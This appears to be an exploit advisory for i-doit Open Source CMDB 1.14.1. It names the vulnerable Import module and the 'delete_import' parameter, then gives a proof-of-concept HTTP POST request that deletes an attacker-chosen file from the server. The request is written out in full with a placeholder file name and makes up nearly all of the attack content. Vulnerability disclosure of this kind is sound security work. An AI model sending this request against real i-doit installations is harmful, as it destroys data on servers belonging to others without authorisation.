i-doit Open Source CMDB 1.14.1 - Arbitrary File Deletion

# Exploit Title: i-doit Open Source CMDB 1.14.1 - Arbitrary File Deletion
# Date: 2020-05-02
# Author: Besim ALTINOK
# Vendor Homepage: https://www.i-doit.org/
# Software Link: https://sourceforge.net/projects/i-doit/
# Version: v1.14.1
# Tested on: Xampp
# Credit: İsmail BOZKURT

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Vulnerable Module ---> Import Module
Vulnerable parameter ---> delete_import
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PoC
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POST /idoit/?moduleID=50&param=1&treeNode=501&mNavID=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 ******************************
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/idoit/?moduleID=50&param=1&treeNode=501&mNavID=2
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7.3
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-i-doit-Tenant-Id: 1
Content-Length: 30
DNT: 1
Connection: close
Cookie: PHPSESSID=bf21********************************68b8

delete_import=Type the filename, you want to delete from the server here